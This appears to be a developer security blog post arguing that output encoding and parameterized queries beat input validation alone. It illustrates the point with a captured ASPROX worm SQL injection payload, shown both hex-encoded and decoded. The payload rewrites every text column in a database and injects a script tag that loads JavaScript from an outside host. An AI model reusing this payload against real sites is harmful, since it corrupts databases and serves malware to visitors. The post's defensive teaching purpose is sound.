Jim Manico had a pretty good post on output encoding a couple weeks ago. Please don’t take my comments in its thread to by any means imply that I am disagreeing with his general premise. Injection attacks are one of the most common severe attacks a website could face and security professionals tend to prescribe input validation when output encoding is more appropriate. When passing on data to other sources (the client, a database, other servers), transferring it via a safe method in a sanitized form is the optimal way to go. Input validation in this instance is sub-optimal.

As an example, I am freelancing with a local webhost trying to rectify some attacks against the ASPROX worm. The attack vector is brilliant. What gets submitted is:

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×4445434C415
245204054205641524348415228323535292C40432056415243484152283
2353529204445434C415245205461626C655F437572736F7220435552534
F5220464F522053454C45435420612E6E616D652C622E6E616D652046524
F4D207379736F626A6563747320612C737973636F6C756D6E73206220574
845524520612E69643D622E696420414E4420612E78747970653D2775272
0414E442028622E78747970653D3939204F5220622E78747970653D33352
04F5220622E78747970653D323331204F5220622E78747970653D3136372
9204F50454E205461626C655F437572736F72204645544348204E4558542
046524F4D205461626C655F437572736F7220494E544F2040542C4043205
748494C4528404046455443485F5354415455533D302920424547494E204
55845432827555044415445205B272B40542B275D20534554205B272B404
32B275D3D525452494D28434F4E564552542856415243484152283430303
0292C5B272B40432B275D29292B27273C736372697074207372633D68747
4703A2F2F7777772E61647739352E636F6D2F622E6A733E3C2F736372697
0743E27272729204645544348204E4558542046524F4D205461626C655F4
37572736F7220494E544F2040542C404320454E4420434C4F53452054616
26C655F437572736F72204445414C4C4F43415445205461626C655F43757
2736F7220%20AS%20VARCHAR(4000));EXEC(@S);–

(arg, my kingdom for firefox to add support for “word-wrap:break-word”. I know it was originaly an IE deviation, but it is now in CSS 3. Also, sometimes additions outside of spec are fine when they clearly make sense, like word-wrap.)

This gets interpreted as:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(’UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+””’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Now this is a genius little worm. It scans across all the tables available with a cursor and automatically appends the malware attack (usually a reference to a hosted .js that exploits browser vulnerabilities) to the end of all the various fields of some text type. There is some serious SQL ninja stuff that exceeds my T-SQL skills here, but most noteworthy is that there is no ‘ anywhere in the string. Now the vulnerable site WAS doing limited input validation, automatically escaping all ‘ before submitting a query, but that was obviously irrelevant to the attack. Had they just been using bindable queries (aka parameterized queries, depending on your parlance preference) they would have been fine.

All of that does reinforce Jim’s point. For the most common web attacks, XSS and SQL Injection, output sanitization is more effective than input validation. That said, you need to do both. Both of those attacks are actually against external entities, other clients and the database respectively, which illustrates a point- for every external entity you are communicating with you need to pass the output in a clean and safe form to that entity. Hence output encoding/sanitization. To protect yourself, however, you need to do input validation. At the moment output attacks are the most common, as they are relatively easy and don’t require much knowledge of the application logic, however as those holes are plugged there are going to be increasing attacks against the application itself. At that point, input validation is the first line of defense.

So rule of thumb for developing reasonably secure applications- don’t trust any input you get and be sure to validate it, and sanitize all output EVEN if you are doing input avalidation to make sure you aren’t passing off an attack.

~ Joshbw